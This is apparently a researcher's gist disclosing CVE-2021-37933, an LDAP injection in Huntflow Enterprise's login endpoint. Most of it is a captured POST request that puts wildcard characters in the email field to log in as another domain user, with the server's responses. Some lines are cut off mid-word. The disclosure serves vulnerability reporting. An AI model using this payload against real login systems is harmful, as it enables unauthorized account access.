andrey-lomtev / **CVE-2021-37933**

Last active last year

☆ Star

<> Code -o- Revisions 3

CVE-2021-37933

```
CVE-2021-37933
-----------------------------------------
LDAP injection

-----------------------------------------
[Suggested description]

An LDAP injection vulnerability in /account/login in Huntflow Enterprise before 3.10.6 could allow an unauthenticated, remote user to modif

-----------------------------------------

[Additional Information]

Example request to /account/login with wildcard characters in email parameter and valid password:

POST /account/login HTTP/1.1
Host: hf.mydomain
Connection: close
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://hf.mydomain
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q
Referer: https://hf.mydomain/account/login
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: lang=ru_RU; _xsrf=2|b65eb986|309cc18c34ff994a04ca856397c5f300|1619468100; token=5kafeoqj6vk2tb3mmx31wyl8zvc1ti7mtfpkretj2k38qgdaddl

_xsrf=2%7Cb65eb986%7C309cc18c34ff994a04ca856397c5f300%7C1619468100&email=*pubov*&password=p@ssw0rd

Server response with 302 code and redirect to main page:

HTTP/1.1 302 Found
Server: nginx/1.16.1
Date: Fri, 07 May 2021 14:22:36 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Location: /
X-Frame-Options: DENY

Partial server response after redirect to main page:

HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Fri, 07 May 2021 14:22:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 12658
Connection: close
X-Frame-Options: DENY

<!DOCTYPE html>
<html class="no-js no-placeholder ">
<head>
    <title>Хантфлоу — профессиональный сервис для автоматизации рекрутинга</title>
    <script>(function(H){
        H.className=H.className.replace(/\bno-js\b/,'js');
        void ('placeholder' in H.parentNode.createElement('input') ? H.className=H.className.replace(/\bno-placeholder\b/,'') : '');
        if(!document.createElementNS || !document.createElementNS('http://www.w3.org/2000/svg', 'svg').createSVGRect) H.className += ' no-s
    })(document.documentElement);
    window.STATIC_URI = '/static/d554cc5808f7d342b09d64f1f7ce852a/';
    window.STATIC_VERSION = 'v3.6.1';
    window.dataLayer = [];
    </script>
    <script type="text/javascript">

        (function(global) {
            global.Config = {
                'timeDiff': parseInt(new Date().getTime()/1000) - 1620397360,
                'lang': 'ru_RU'.split('_', 1)[0],
                'staticUrl': '/static/d554cc5808f7d342b09d64f1f7ce852a/',
                'notifierUrl': 'https://nhf.mydomain',
                'uploaderUrl': 'https://storehf.mydomain',
                'supportEmail': 'support@huntflow.ru',
                'importEmail': '',
                'is_mobile': false,
                'is_sudo': false,
                'version': 'v3.6.1',
                'theme':null,
                'account': {
                    'id': 753,
                    'name': 'ppubovoy@mydomain',
                    'position': '',
                    'nick': 'ppubovoy',
                    'email': 'ppubovoy@mydomain',
                    'phone': ''
                },
                'elixir' : null
            };
        })(window);
    </script>

As a result, there are a successful authentication under the user "ppubovoy" in the AD domain "mydomain".

------------------------------------------

[VulnerabilityType Other]
CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

------------------------------------------

[Vendor of Product]
Huntflow

------------------------------------------

[Affected Product Code Base]
Huntflow Enterprise - Affected < 3.10.6. Fixed at 3.10.6. Tested at 3.6.1

------------------------------------------

[Affected Component]
"/account/login" HTTP method

------------------------------------------

[Attack Type]
Remote - unauthenticated users

------------------------------------------

[CVE Impact]
An attacker can bypass authentication

------------------------------------------

[Attack Vectors]
By providing specially crafted input, an attacker can modify the logic of the LDAP query and bypass authentication

------------------------------------------

[Reference]
https://huntflow.ru
https://gist.github.com/andrey-lomtev/cbf12bc8d8763996cf8d6d1641a0b049

------------------------------------------

[Has vendor confirmed or acknowledged the vulnerability?]
true

------------------------------------------

[Discoverer]
Andrey Lomtev

------------------------------------------

Andrey Lomtev / Infosec.ru team
```